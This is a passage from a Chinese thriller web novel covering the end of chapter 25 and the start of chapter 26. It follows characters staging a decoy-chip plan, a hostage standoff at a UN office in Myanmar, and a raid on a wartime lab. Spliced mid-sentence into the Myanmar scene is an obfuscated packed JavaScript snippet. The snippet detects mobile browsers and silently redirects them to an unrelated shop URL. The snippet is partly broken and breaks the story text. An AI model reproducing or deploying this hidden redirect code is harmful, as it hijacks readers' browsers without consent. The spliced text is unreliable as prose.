“用真芯片做一次演示。”江砚辞说,“但不是完整的演示。只展示基础功能,让他相信这是真品,但又不给他足够的时间破解深层结构。” “风险很大。一旦他拿到芯片,哪怕只有几分钟,也可能复制部分数据。” “所以需要精准控制时间。”江砚辞看了眼墙上的时钟,“苏晚晚什么时候出发?” “上午九点的航班飞香港,周律师安排了四个人护送。从香港转机去日内瓦,全程有外交礼遇,相对安全。” “联系她。”江砚辞说,“我需要她在香港停留时,用真芯片完成一次远程演示。” 周屿皱眉:“远程?信号延迟和加密都是问题。而且如果被截获……” “用阿影留下的那个加密频道。”江砚辞想起在阿尔卑斯山时阿影用的那个网络语音通道,“他说那是军方级别的加密,理论上无法破解。我们只需要传输最简单的神经信号模拟数据,证明芯片能工作就行。” 计划在晨光中细化。周屿开始编写演示程序,江砚辞则联系苏晚晚说明情况。电话里,苏晚晚的声音听起来很疲惫,但依然坚定:“我明白。到香港后,我会找安全的地方配合。” 挂断电话,江砚辞走到窗前。晨雾正在散去,城市逐渐苏醒。远处,国宾馆的大门处,几辆黑色轿车缓缓驶入——是周律师安排的护送车队,来接苏晚晚了。 他下楼,看到苏晚晚已经收拾妥当,脚踝上还打着固定,但换了一身利落的商务装,头发绾起,看起来像个普通的出差白领。 “这个给你。”江砚辞递给她一个小型定位器,“贴身带着。如果遇到危险,按中间的按钮,我们会知道。” 苏晚晚接过,握在掌心:“你这边……小心点。陆文渊知道你回国了,肯定会不择手段。” “我知道。”江砚辞看着她,想说什么,但最终只是点了点头,“一路平安。” “你也是。” 简单的告别后,苏晚晚上车离去。江砚辞站在庭院里,看着车队消失在林荫道尽头,胸口涌起一种复杂的情绪——担忧,不舍,还有某种说不清的责任感。 周律师走到他身边:“她会安全的。我安排的都是信得过的人。” “我不是担心这个。”江砚辞顿了顿,“我是担心……我们做的决定,到底对不对。” 用技术做饵,用人为棋,把苏晚晚、陆野、唐果、林骁所有人都卷进这场危险的游戏。如果失败了,代价可能是所有人的生命。 “你父亲当年也面临过同样的选择。”周律师轻声说,“他选择了保护技术,结果付出了生命的代价。但这不意味着他的选择是错的。有些东西,值得用生命去守护。” “比如?” “比如不让那些沾血的数据变成杀人的武器。”周律师看向远方,“比如不让七十年前的悲剧在今天重演。江砚辞,你现在握着的,可能是人类历史上最重要的技术之一。它可以让人瘫痪者重新行走,也可以制造出没有感情的杀戮机器。怎么选,决定权在你。” 决定权。这个词如此沉重。 江砚辞想起施密特博士在塌方前的笑容,想起母亲录像里温柔的眼神,想起父亲笔记上那句“技术应该服务于人”。 “我明白了。”他说,“我会做对的选择。” ## **上午九点半·香港国际机场** 苏晚晚在贵宾候机室等待着转机。脚踝的疼痛在长途飞行后加剧了,但她没表现出来。随行的四个人都很专业,两人在门口警戒,两人在室内待命,全程几乎不说话。 她打开笔记本电脑,连接上周屿提供的加密网络。屏幕上跳出简单的界面:**神经信号模拟测试程序**。 按照约定,一小时后,江砚辞会联系她,用这个程序进行一次远程演示。但现在,她需要先确保环境安全。 “我去一下洗手间。”她对随行人员说。 一个女保镖陪同前往。洗手间里空无一人,苏晚晚检查了每个隔间,确认没有监控设备。回到候机室后,她低声问女保镖:“机场有我们的人吗?” “有。”女保镖简洁回答,“已经排查过,目前安全。” 苏晚晚点点头,重新看向电脑屏幕。时间一分一秒过去,她的心跳却莫名加快。不是紧张,是某种直觉——太安静了,安静得不正常。 陆文渊知道她今天离境。以他的行事风格,不可能毫无动作。 果然,十点整,贵宾室的门被推开。进来的人让苏晚晚瞳孔一缩——不是陆文渊,而是陆文渊的私人助理,一个永远穿着得体、笑容完美的年轻女人,叫秦悦。 “苏小姐,真巧。”秦悦微笑着走过来,“陆先生听说您在香港转机,特意让我来问候。您的脚……好些了吗?” “好多了。”苏晚晚保持平静,“陆先生太客气了。” “应该的。”秦悦在她对面坐下,示意随从退开,“陆先生还让我转告您,关于江先生手里那份技术……他愿意开出更优厚的条件。只要您愿意帮忙劝说江先生合作,陆氏集团可以投资您的舞蹈团,为您建专属剧院,甚至支持您去欧洲发展。” 赤裸裸的利诱。苏晚晚笑了:“秦小姐,你觉得我是一个会被剧院收买的人吗?” “不是收买,是交换。”秦悦笑容不变,“每个人都有想要的东西。您想要舞台,陆先生想要技术,各取所需而已。” “那江砚辞想要什么?他父亲死亡的真相?他母亲被胁迫的真相?这些,陆先生能给吗?” 秦悦的笑容淡了些:“过去的事,纠缠无益。陆先生说了,只要合作,以前的恩怨可以一笔勾销。他甚至愿意公开为江先生澄清名誉,让他重回赛车界。” “用技术换名誉?”苏晚晚摇头,“那江砚辞这三年的坚持算什么?” 谈判陷入僵局。秦悦盯着苏晚晚看了几秒,突然说:“苏小姐,您和江先生认识不到一个月吧?为了一个认识不到一个月的人,赌上自己的职业生涯,甚至生命安全,值得吗?” 这个问题,苏晚晚问过自己很多次。在阿尔卑斯山的缆车上,在观测站的枪声中,在回国后的逃亡路上。每次答案都一样。 “值得。”她说,“因为有些人,你认识一天就知道该相信他。有些人,你认识十年也看不透。” 秦悦站起身:“既然如此,那我只能转告陆先生,您拒绝了。不过……”她顿了顿,“香港是个讲法律的地方,但意外也难免。苏小姐一路小心。” 威胁说完,她转身离开。苏晚晚看着她消失在门口,手心已经出汗。 女保镖走过来:“苏小姐,需要更换航班吗?” “不用。”苏晚晚看了眼时间,“按原计划。但通知周律师,陆文渊的人已经接触过我了。” 十点十五分,江砚辞的视频请求发来。苏晚晚戴上耳机,接通。 屏幕那端,江砚辞坐在安全屋的电脑前,背景是周屿忙碌的身影。他看起来比早晨更疲惫,但眼神依然锐利。 “香港那边安全吗?”他问。 “刚见过陆文渊的助理。”苏晚晚简单说了情况,“她威胁了,但应该不敢在机场动手。” 江砚辞眉头紧皱:“演示完后,立刻登机。不要在香港停留。” “明白。” 周屿把仿制芯片插入测试设备。屏幕上的程序开始运行,基础神经信号模拟启动——这是最简单的一环,用算法模拟人脑控制机械手臂的神经电信号。 苏晚晚这边,真芯片已经连接好。她按照指示,启动了芯片的伦理约束模块。这个模块的作用是监控神经信号的“意图”,如果检测到攻击性意图,会自动切断信号传输。 演示很简单:模拟一个瘫痪患者想要抬起手臂的意图,芯片解码信号,驱动机械手臂完成动作。但同时,程序里设置了一个“攻击意图”模拟——想要用机械手臂砸碎东西。伦理约束模块成功拦截了这个信号,机械手臂在抬起后悬停,没有执行攻击动作。 整个过程持续了三分钟。 “数据传输完成。”周屿在那边说,“加密通道关闭。苏小姐,可以了。” 苏晚晚断开连接,取出芯片,重新封装好。手心全是汗。 她知道,这次演示的数据流一定会被陆文渊的人截获——秦悦的出现不是巧合,她身上或者周围一定有监听设备。而现在,陆文渊已经“确认”了芯片的真实性。 下一步,就是江砚辞用仿制芯片做饵,引他上钩。 登机广播响起。苏晚晚收拾好东西,在保镖的护送下走向登机口。路过玻璃幕墙时,她看到窗外停机坪上,那架飞往日内瓦的航班正在做起飞准备。 还有十个小时,她就能把真芯片交到国际刑警手里。 但不知为何,心里那股不安,越来越强烈。 ## **下午两点·缅北山区联合国办事处** 陆野在病床上醒来时,首先闻到的是消毒水的味道。然后感觉到右腿的剧痛,还有全身像散架般的酸痛。 “你醒了?”一个温和的女声说英语。 陆野转头,看到床边坐着个四十岁左右的白人女性,金发碧眼,穿着联合国工作人员的制服,胸前名牌写着:**Dr. Elena Schmidt**(埃琳娜·施密特博士)。 施密特?陆野心里一动。 “我是这里的医疗官。”埃琳娜检查了她的输液管,“你失血过多,加上严重感染,昏迷了十八个小时。不过现在烧退了,伤口也在愈合。” “证据……”陆野艰难开口,“那个箱子……” “安全。”埃琳娜点头,“已经通过外交渠道送往日内瓦总部。隼先生亲自接收的。另外,你带来的那些村民——阿岩他们,我们已经安排在难民营,会提供医疗和庇护。” 陆野松了口气。但看着埃琳娜的脸,她总觉得在哪里见过。 “你姓施密特。”陆野说,“和卡尔·施密特博士……” “他是我伯父。”埃琳娜微笑,“我在他留下的信件里看过你的照片。他说如果有一天一个中国女工程师带着证据来找联合国,一定要保护好她。” 陆野愣住:“施密特博士知道我?” “他一直关注‘渡鸦’在亚洲的活动。三年前,他通过秘密渠道联系到我,让我在联合国系统内收集相关情报。”埃琳娜压低声音,“你带来的证据非常重要,足够启动国际刑事法院的调查。但问题是——光有证据不够,还需要证人。” “我可以作证。” “你一个人的证词分量不够。”埃琳娜摇头,“我们需要更多受害者,更多内部人员的证词。尤其是……‘启明星计划’的直接参与者。” 陆野想起实验室里那些穿白大褂的人。他们有的是被高薪诱惑,有的是被威胁,但不管出于什么原因,他们手上都沾了血。 “我认识一个人。”陆野说,“‘渡鸦’在缅甸实验室的一个研究员,叫吴索温。他是本地人,是被迫参与的。他妹妹得了怪病,需要钱治疗。” “能找到他吗?” “也许。”陆野撑着坐起来,“但他很胆小,如果没有绝对安全的保证,他不敢出来作证。” 埃琳娜想了想:“三天后,国际刑警的人会来缅甸,和当地政府联合行动,取缔那个实验室。如果吴索温愿意在行动前提供内部信息,我们可以给他证人保护计划,还有他妹妹的医疗援助。” “三天……”陆野看了眼自己还打着石膏的腿,“我需要联系阿岩,让他去找吴索温。” “你的身体状况不适合移动。” “但时间不等人。”陆野掀开被子,“‘启明星计划’只剩六天了。每拖延一天,就可能多一个受害者。” 埃琳娜看着她坚定的眼神,最终妥协:“好吧。但我必须派人跟着你,而且只能在安全区内活动。” 陆野点头。她让护士拿来卫星电话,联系阿岩。电话接通后,阿岩的声音听起来很疲惫,但听到陆野还活着,明显松了口气。 “吴索温我认识。”阿岩说,“他老家就在我们邻村。但自从他去了那个实验室,就很少回来了。听说他妹妹的病需要一种很贵的进口药,只有‘渡鸦’能提供。” “告诉他,如果愿意作证,联合国会提供药物和医疗。”陆野说,“而且会保护他和家人安全离开缅甸。” “我试试。但他不一定信。” “带他来见我。”陆野说,“我当面和他说。” 挂断电话,陆野靠在床头,看着窗外缅北山区苍翠的群山。阳光很好,但群山之中,藏着太多黑暗。 埃琳娜递给她一份文件:“这是施密特博士留给你的。他说,如果有一天你看到了‘渡鸦’实验室里的东西,再看这个。” 文件是德文,但附了英文翻译。标题是:**《乌鸦计划》受害者名单及遗属补偿方案(草案)**。 里面详细列出了1944-1945年间,在“乌鸦计划”中死去的127名受害者的姓名、年龄、籍贯,还有根据战后物价计算的补偿金额。每个名字后面,都有施密特博士手写的备注:“**已补偿**”或“**未找到遗属**”。 在文件最后一页,有一行手写字:“**有些罪永远赎不清,但至少可以停止继续犯罪。**” 陆野合上文件,眼睛发酸。施密特博士用一生来赎罪,而她现在做的,或许就是在延续这份赎罪。 病房门被推开,一个联合国安保人员进来,神色严肃:“施密特博士,边境哨所报告,有不明武装人员在安全区外围活动。大约三十人,装备精良,不像本地武装。” “是‘渡鸦’的人。”陆野立刻说,“他们发现证据丢失,来灭口的。” 埃琳娜站起身:“启动一级戒备。联系缅甸军方,要求增援。陆小姐,你需要转移到地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17004292|194002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下安全屋。” “不。”陆野摇头,“如果他们真是冲我来的,我躲起来,他们会拿村民泄愤。让我去门口,和他们谈。” “太危险了!” “但他们不敢在联合国办事处门口公然杀人。”陆野在护士的帮助下坐上轮椅,“而且……我想看看,来的是谁。” 十分钟后,陆野被推到办事处大门口。铁门外,三十多个武装人员呈扇形散开,领头的是个穿西装的中年男人——不是缅甸人,是白人,金发,蓝眼睛,看起来像个商人,但眼神冰冷。 “陆野小姐。”男人用流利的英语说,“我是‘渡鸦’亚洲区的负责人,你可以叫我‘渡鸦七号’。我来取回属于我们的东西。” “东西已经送往日内瓦了。”陆野平静地说,“你们来晚了。” 渡鸦七号笑了:“我们知道。但我们可以用你,把东西换回来。或者……用这些村民。” 他挥了挥手,手下从车上拖下来五个人——都是阿岩村里的老人和孩子,被反绑着手,嘴里塞着布。 陆野的心脏骤停。 “每过一小时,我们杀一个。”渡鸦七号看了眼手表,“从现在开始计时。你可以慢慢考虑。” 阳光依旧明媚,但空气冷得像冰。陆野握紧轮椅扶手,指甲陷进掌心。 她知道,这不是谈判,是赤裸裸的威胁。而她的选择,可能决定五个无辜者的生死。 ## **傍晚六点·南城老防空洞** 唐果和林骁蹲在防空洞入口上方的通风管道里,浑身沾满污泥和铁锈。下面的挖掘工作还在继续,大型机械的轰鸣声震得管道壁嗡嗡作响。 他们已经在这里潜伏了四小时。林骁用微型摄像头拍下了整个作业过程——那些穿防护服的人从地下搬上来一个个铅封的箱子,箱子上有日文标识和骷髅头标志。 “化学武器。”林骁压低声音,“还有……生物样本。” 他调出刚才拍到的画面:一个箱子在搬运途中破损,流出暗黄色的液体,接触地面的瞬间冒出白烟。工人们惊慌躲避,穿白大褂的人立刻上前喷洒中和剂。 “他们在转移。”唐果说,“要把这些东西运走。” “运去哪儿?” “不知道。但肯定不是好地方。” 正说着,下面传来争吵声。一个看起来像工头的人大声呵斥:“快点!陆先生说了,今晚十二点前必须清空!耽误了时间,谁都担不起!” 另一个声音反驳:“可这些箱子有的已经泄漏了!随便搬运会出人命的!” “怕死就别干这行!陆先生给的工钱,够你们全家吃十年!” 争吵最终以工头的胜利告终。工人们重新开始搬运,但动作明显更粗暴了。又一个箱子从推车上滑落,摔在地上,盖子开了。 这次流出来的不是液体,而是一些……器官。泡在福尔马林里的人体器官,用标签标注着编号和日期。 唐果捂住嘴,强忍住呕吐的冲动。林骁的手在发抖,但还是坚持拍摄。 突然,下面的灯全灭了。停电了。 黑暗中人声嘈杂:“怎么回事?”“备用发电机呢?”“快启动!” 趁乱,林骁拉了拉唐果:“下去看看。” 两人从通风管道爬下,落地无声。借着应急灯微弱的光,他们看到地下室的完整样貌——那是个巨大的空间,比地面建筑大得多,显然是当年日军掏空了山体修建的。 空间被分割成几个区域:标本区(那些泡在福尔马林里的器官和尸体)、实验设备区(老式的离心机、显微镜、手术台)、还有最里面的……活体实验区。 活体实验区已经空了,但墙上挂着的镣铐和地上的血痕,证明不久前这里还有“东西”。 唐果走到标本区,用手机拍那些标签。标签上的日期从1944年到1945年,编号从001到至少200多。也就是说,至少有200多人死在这个实验室里。 “看这个。”林骁在实验设备区发现了一个保险柜,门虚掩着。里面不是金银财宝,而是一沓沓发黄的文件,上面盖着“绝密”的红色印章。 文件最上面是一份实验记录,日文书写,但附有中文翻译: “**昭和19年(1944年)10月7日 实验体编号047,男性,25岁,中国战俘 注射‘金刚’血清(编号A-7)后12小时,肌力增强300%,痛觉丧失,攻击性显著增强。但48小时后出现神经系统崩溃,实验体在极度痛苦中死亡。 结论:血清效果显著但不可控,需进一步改良。**” 后面是连续几十页类似的记录。唐果翻到最后,发现一份总结报告,日期是1945年8月10日——日本投降前五天: “**鉴于战局不利,所有实验数据、样本、血清配方已封装,埋藏于实验室地下三层(坐标附后)。待帝国复兴之日,此研究必将重见天日,为天皇效忠。**” 坐标!唐果心跳加速。她快速拍下那页,然后继续翻找。 但就在这时,外面传来脚步声和手电光——有人来了。 “躲起来!”林骁拉着她钻进一个废弃的通风管道。 进来的不是工人,是几个穿西装的人。领头的是个年轻男人,唐果觉得眼熟,仔细一看,是陆文渊的另一个助理,叫秦悦的弟弟,秦朗。 秦朗用手电照了照实验室,对身后的人说:“陆先生吩咐,所有文件必须带走,一张纸都不能留。标本……能带走的带走,带不走的就地销毁。” “销毁?怎么销毁?” “用这个。”秦朗拿出几个小型的铝热剂□□,“高温焚化,什么都不剩。” 唐果的心沉到谷底。如果他们烧了这里,所有证据就没了。 林骁握紧她的手,用眼神询问:怎么办? 唐果看了眼手机——她进来前开了位置共享,周屿那边应该能收到。但等援兵来,恐怕来不及了。 必须自己阻止。 她指了指头顶的通风管道,又指了指那些铝热剂□□,做了个“抢夺”的手势。 林骁摇头:太危险。 但唐果的眼神不容置疑。她从背包里掏出一个小型烟雾弹——这是她考古时用来驱赶蛇虫的,没想到会派上用场。 她指了指自己,又指了指秦朗,意思是:我吸引注意力,你抢□□。 林骁还想反对,但唐果已经行动了。她爬出通风管道,故意弄出声响。 “谁?!”秦朗立刻转身,手电光扫过来。 唐果站起来,拍了拍身上的灰:“秦先生,这么巧。” 秦朗愣了一秒,随即冷笑:“唐果?你还真不怕死。” “怕死就不会来这儿了。”唐果慢慢往前走,“陆文渊让你来销毁证据?晚了,我已经把这里都拍下来了。” “那你就更不能走了。”秦朗示意手下围过来。 就在他们注意力全在唐果身上时,林骁从另一边悄无声息地滑下,扑向那个拿着□□的手下。两人扭打在一起,□□掉在地上。 唐果趁机冲向文件柜,抓起那沓最重要的文件就往怀里塞。秦朗冲过来抓她,她侧身躲过,但脚下一滑,摔在地上。 文件散落一地。 秦朗踩住她的手:“不自量力。” 疼痛让唐果眼前发黑。但就在这时,外面传来警笛声——周屿报警了,警察来了。 秦朗脸色一变,看了眼散落的文件,又看了眼越来越近的警笛声,咬牙:“撤!” 他们快速撤离。林骁扶起唐果:“你没事吧?” “文件……快捡……” 两人手忙脚乱地捡文件。但最重要的那份总结报告,被秦朗临走时踢进了角落的下水道。 唐果扑过去,但下水道盖子是锈死的,打不开。 “别管了,警察马上进来了!”林骁拉起她。 两人从后门逃出,钻进小巷。身后,警车已经包围了防空洞。 唐果靠在墙上喘气,手里紧紧抱着抢救出来的部分文件。虽然最重要的那份丢了,但至少……他们没让这里被烧掉。 林骁检查她的手腕,已经被踩得青紫。“疼吗?” “疼。”唐果老实说,“但值得。” 夜色渐浓,城市的灯火次第亮起。而在城市的阴影里,战斗还在继续。 第一天倒计时结束,每个人都还活着,但每个人身上,都新添了伤疤。 真正的较量,才刚刚开始。 26. 第二十六章 第二十六章七日倒计时·第二日 ## **清晨五点·南城安全屋** 江砚辞在沙发上浅眠了不到三小时,就被噩梦惊醒。梦里,父亲的车在悬崖边翻滚,母亲在后面追着哭喊,而他自己站在山顶,手里握着那枚玻璃芯片,眼睁睁看着一切发生,却动弹不得。 他坐起身,额头全是冷汗。窗外的天空还是深蓝色,城市尚未完全苏醒。茶几上,周屿已经完成了仿制芯片的最终调试,正趴在电脑前打盹,屏幕上的进度条显示100%。 江砚辞轻轻起身,走到工作台前。仿制芯片放在特制的防震盒里,外观和母亲留下的真品几乎一模一样——同样的玻璃封装,同样的金属接口,甚至同样在特定角度下会反射出彩虹般的光晕。唯一的不同是,真芯片的内部有母亲手刻的一行微雕:“**给小辞,愿光常在**”,而仿制芯片的这个位置,被周屿替换成了追踪病毒的启动代码。 “你醒了?”周屿揉着眼睛坐起来,“芯片做好了。但我整晚都在想一个问题——陆文渊真的会亲自来拿吗?以他的谨慎,更可能派手下来取,自己躲在幕后。” “他会来的。”江砚辞拿起仿制芯片,对着晨光端详,“因为他要亲眼确认这是真品。而且……他想当面羞辱我。” 三年了。从被诬陷作弊到身败名裂,从母亲去世到躲在修车铺苟且度日,江砚辞太了解陆文渊这类人的心理——他们不仅要赢,还要看着对手跪地求饶。陆文渊需要这场“胜利仪式”来证明自己的绝对掌控。 周屿调出一份监控报告:“昨晚十一点到凌晨三点,国宾馆周围出现了至少六组不明身份的监视人员。周律师的人已经做了反监视,确认其中两组直接受雇于陆文渊的公司,另外四组……可能是‘渡鸦’的人。” “‘渡鸦’在国内也有部署?” “一直都有。”周屿调出数据,“三年前你出事时,我就查到有几笔流向境外的资金,源头是陆远集团,但接收方是瑞士和列支敦士登的空壳公司。这些公司后来被证实是‘渡鸦’的洗钱渠道。” 也就是说,“渡鸦”和陆家的合作,至少始于三年前——甚至可能更早,追溯到陆远山那一代。 江砚辞想起父亲笔记里的一句话:“**有些人为了利益,可以出卖灵魂。而有些人为了技术,可以出卖全人类。**” 父亲早就看透了。 “联系林骁和唐果。”江砚辞说,“问问他们昨晚的情况。” 电话接通,林骁的声音透着疲惫:“我们没事。防空洞被警察封锁了,秦朗那些人跑了,但唐果抢出来一部分文件。问题是最重要的那份总结报告——里面有日军实验室地下三层的坐标——被秦朗踢进下水道了,盖子锈死打不开。” “坐标?”江砚辞皱眉。 “对,1945年日军埋藏所有实验数据和样本的位置。”唐果接过电话,“如果陆文渊还没找到那个地方,那份坐标就是他的下一个目标。如果他早就找到了……那我们可能已经晚了。” 江砚辞沉思片刻:“你们能想办法打开下水道吗?” “试过了,盖子和井壁完全锈在一起,需要专业工具。”林骁说,“而且现在防空洞被警察守着,我们进不去。” “那就用别的方法。”江砚辞看向周屿,“能调取那片区域的地下管网图吗?” 周屿已经开始操作:“南城老城区的地下管网图有一部分是数字化的,但日军占领时期修建的通道很多没有记录。我试试用卫星地质雷达的旧数据做分析……可能需要几个小时。” “尽快。如果陆文渊的目标是那些埋藏了七十多年的实验样本,我们必须抢在他前面。” 挂断电话,江砚辞开始制定诱饵计划的具体步骤。根据周律师提供的情报,陆文渊今天下午会在陆远集团总部召开董事会,晚上七点参加一个慈善晚宴。那是他最可能放松警惕的时候——白天需要维持公众形象,晚上会在安保相对薄弱的场合露面。 “晚上七点半,慈善晚宴现场。”江砚辞在地图上标记出位置,“我会带着仿制芯片出现,让他知道东西在我手里。然后离开,引他或他的人来追。” “太冒险了。”周屿反对,“那种场合安保严密,你一旦出现,可能都走不出大门。” “所以需要你制造混乱。”江砚辞调出宴会厅的结构图,“这里有三个出口,主出口肯定会有人把守。但侧门通往厨房,后门通往停车场。我需要你在七点四十五分,准时切断宴会厅的主电源十秒钟。十秒钟,足够我从侧门离开。” “然后呢?他们肯定会追。” “我开车,你远程指导路线。”江砚辞在南城地图上画出几条可能的逃亡路径,“周律师已经安排了接应点,在城北的废弃工厂区。那里地形复杂,适合设伏。” 计划看似周全,但江砚辞心里清楚,任何一个环节出错,都可能满盘皆输。更关键的是,他必须在逃亡过程中“恰好”让仿制芯片落入陆文渊之手——不能太轻易,否则会引起怀疑;也不能太难,否则对方可能放弃。 这是一场精密的表演,每一步都需要精确计算。 上午八点,周律师从外面回来,带回一个消息:“我刚从国安系统的朋友那里得到确认,‘渡鸦’在亚洲的负责人‘渡鸦七号’昨天出现在了缅甸边境。他劫持了五个村民,威胁联合国办事处交出陆野和证据。” 江砚辞心脏一紧:“陆野怎么样了?” “暂时安全。联合国方面正在谈判,但‘渡鸦七号’给了二十四小时的最后期限。如果不交出陆野,每过一小时杀一个人质。” “二十四小时……”江砚辞看了眼墙上的时钟,“就是从今天中午十二点开始?” “对。”周律师神色凝重,“而且陆野为了救人质,主动提出要跟‘渡鸦七号’走。联合国方面在极力阻止,但她很坚决。” 江砚辞沉默。他想起了在阿尔卑斯山时,阿影说过的话:“陆野那丫头,看着冷,其实心比谁都热。为了救陌生人,她可以不要命。” “我们能做什么?”他问。 “什么都做不了。”周律师摇头,“缅甸那边的情况太复杂,涉及多国势力,我们的人进不去。现在只能相信联合国和国际刑警的应急处理能力。” 但江砚辞知道,在这种对峙中,弱势的一方往往是被牺牲的。陆野一个普通人,面对的是跨国犯罪组织,她的命运很大程度上取决于那些政客和外交官的一念之间。 “联系隼。”他说,“告诉他,如果需要交换条件,我们手里有陆文渊在国内的犯罪证据,可以作为谈判筹码。” “那会暴露我们的底牌。” “底牌就是用来打的。”江砚辞看着窗外逐渐亮起的天空,“而且,陆野救过我们的命。” 周律师点点头,走向通讯设备。 上午的时间在紧张准备中流逝。周屿调试好了远程控制系统,可以实时追踪仿制芯片的位置,并在必要时启动病毒程序。周律师安排了接应车队和医疗支援。江砚辞则反复演练晚上的行动路线,记忆每一个岔路口、每一个可能设伏的点。 中午十一点,唐果那边传来消息:周屿通过分析旧卫星数据,找到了老防空洞区域地下可能存在的空洞结构。有三个可疑点,其中一个位于防空洞正下方约三十米处,大小足以容纳一个大型仓库。 “就是这里。”唐果发来标注图,“但问题是,我们怎么下去?防空洞现在被警察二十四小时看守,不可能大张旗鼓地挖。” “从侧面挖。”林骁的声音插进来,“防空洞东侧二百米处有个废弃的砖窑,地下有早年挖煤留下的巷道。我爷爷说过,那些巷道四通八达,有些能通到日军实验室附近。” “能找到具体通道吗?” “得亲自下去看。但巷道几十年没人走了,很可能已经塌方,很危险。” 江砚辞思考片刻:“等我今晚的行动结束后,明天跟你们一起去。” “你确定?你这边……” “芯片的事今晚会有个了结。”江砚辞说,“不管结果如何,明天我都需要新的方向。而且,如果那些埋藏了七十多年的样本真的存在,绝不能落在陆文渊手里。” 电话那头沉默了几秒,唐果轻声说:“江砚辞,小心点。” “你们也是。” 挂断电话,江砚辞走到镜子前,开始换上晚上要穿的衣服——一套合体的黑色西装,白衬衫,没有领带。他需要看起来正式,但又不能太拘谨,要保证行动时的灵活性。 镜子里的人,眼中有血丝,下巴上有青色的胡茬,肩部因为绷带而微微隆起。这不是三年前那个在领奖台上光芒四射的赛车手,也不是躲在修车铺里逃避世界的失败者。这是一个走在刀锋上的人,背负着父母的遗志,握着可能改变世界的技术,面对着庞大的敌人。 他突然想起苏晚晚在飞机起飞前说的话:“江砚辞,要活着回来。我们还有很多事没做。” 很多事。重建赛车事业,研发安全系统,看她把机械和舞蹈结合,甚至……可能有更远的未来。 为了这些“很多事”,他必须活过今晚。 ## **下午三点·香港飞往日内瓦的航班上** 苏晚晚在头等舱的座位上辗转难眠。脚踝的疼痛在持续,但她更担心的是怀里贴身藏着的真芯片。虽然保镖就坐在旁边,虽然航班在万米高空,但她总感觉有眼睛在盯着自己。 空乘送来午餐,她勉强吃了几口,就推开餐盘,打开笔记本电脑。屏幕上显示着周屿开发的追踪程序——代表江砚辞位置的红点在南城安全屋闪烁,代表仿制芯片的蓝点还处于待机状态。 按照计划,今晚七点半,蓝点会开始移动。而她需要在同一时间,在日内瓦国际刑警总部,将真芯片交给隼。 还有四个半小时。 她调出母亲林薇留下的旧照片——那张三个女孩在苏黎世的合影。母亲的笑容那么灿烂,那么无忧无虑。那时的她,一定想不到自己后来会经历什么:好友牺牲,丈夫早逝,女儿卷入危险的漩涡。 苏晚晚用手指轻抚照片上母亲的脸。如果母亲还活着,会支持她现在的选择吗?会同意她为了真相和正义,赌上自己的舞蹈生涯甚至生命吗? 她想起小时候,母亲教她跳第一支舞。不是芭蕾,不是民族舞,而是一段即兴的现代舞。母亲说:“晚晚,舞蹈最重要的是表达真实的自己。不要被规则束缚,不要被别人的眼光限制。你的身体,你的心,会告诉你该怎么跳。” 这些年,她一直在遵守舞蹈的规则——严格的训练,精确的动作,完美的表现。但内心深处,她一直渴望那种即兴的自由。直到遇见江砚辞,直到卷入这场冒险,她才真正明白母亲的话:真实的人生,就是一场即兴舞蹈,没有彩排,每一步都是现场创作。 邻座的保镖低声提醒:“苏小姐,我们二十分钟后开始下降。请系好安全带。” 苏晚晚合上电脑,看向舷窗外。下方是连绵的阿尔卑斯山脉,雪顶在阳光下闪闪发光。这座山脉埋藏了太多秘密——父亲的“种子”,施密特博士的坚守,叶真真的牺牲,还有“渡鸦”觊觎了二十年的技术。 而现在,她要带着这项技术的“灵魂”部分,去见那些试图守护它的人。 飞机开始下降,耳膜感受到压力变化。苏晚晚握紧装着芯片的小包,闭上眼睛,在心里默念母亲教她的那句话:“**要像水一样,柔软但有力量。**” 水能穿石,也能载舟。她此刻,就是载着希望之舟的那道水流。 ## **下午四点·缅甸联合国办事处** 陆野坐在轮椅上,看着铁门外对峙的双方。联合国安保人员端着枪,与“渡鸦七号”的武装分子形成僵持。五个村民被押在最前面,老人和孩子脸上写满恐惧。 谈判已经进行了三小时,“渡鸦七号”的条件很简单:交出陆野和所有证据的备份,他们就释放人质,撤离。联合国方面的态度也很明确:不可能交出受保护者,但愿意提供其他补偿。 僵局。 陆野看了眼手表。距离二十四小时的最后期限,还有八小时。但“渡鸦七号”显然没有耐心等那么久,他刚才已经说了,如果一小时内看不到陆野走出来,就先杀一个老人。 “让我去。”陆野对身边的埃琳娜说。 “不行,这是陷阱。”埃琳娜按住她的轮椅,“你一旦走出去,他们会立刻杀了你,然后还是会继续威胁我们交出证据。” “但如果我不出去,那些村民就会死。”陆野看着那个被枪指着头的老人,那是阿岩的爷爷,已经七十多岁,一生没离开过大山,却因为她的到来而陷入危险。 “我已经联系了缅甸军方,他们答应派特种部队来解围,但需要时间。”埃琳娜压低声音,“再拖延两小时,支援就能到。” “两小时……”陆野苦笑,“他们不会等那么久的。” 果然,“渡鸦七号”的声音通过扩音器传来:“还有五十分钟!五十分钟后,如果看不到陆野,第一个老人就会死!” 老人的孙子——一个十岁左右的男孩,突然挣脱了母亲的手,冲向铁门:“放了我爷爷!你们这些坏人!” 枪口转向男孩。 陆野的心脏几乎停跳。她猛地推动轮椅,冲向大门。埃琳娜想拉住她,但已经晚了。 “开门!”陆野对安保人员喊,“让我出去!” 安保人员看向埃琳娜,后者脸色苍白,但最终还是点了点头。铁门缓缓打开一道缝。 陆野推着轮椅出了大门。阳光刺眼,她眯起眼睛,看着不远处的“渡鸦七号”。 “我来了。”她说,“放了他们。” “渡鸦七号”笑了,挥手示意手下放开那个老人。老人踉跄着跑向孙子,祖孙俩抱在一起哭泣。 “还有四个。”陆野说,“全部放了,我就跟你们走。” “你觉得你有资格谈条件?”渡鸦七号走到她面前,居高临下地看着她,“证据在哪儿?备份在哪儿?” “在安全的地方。”陆野迎上他的目光,“杀了我,你们永远拿不到。而且会有更多人把证据公之于众。” 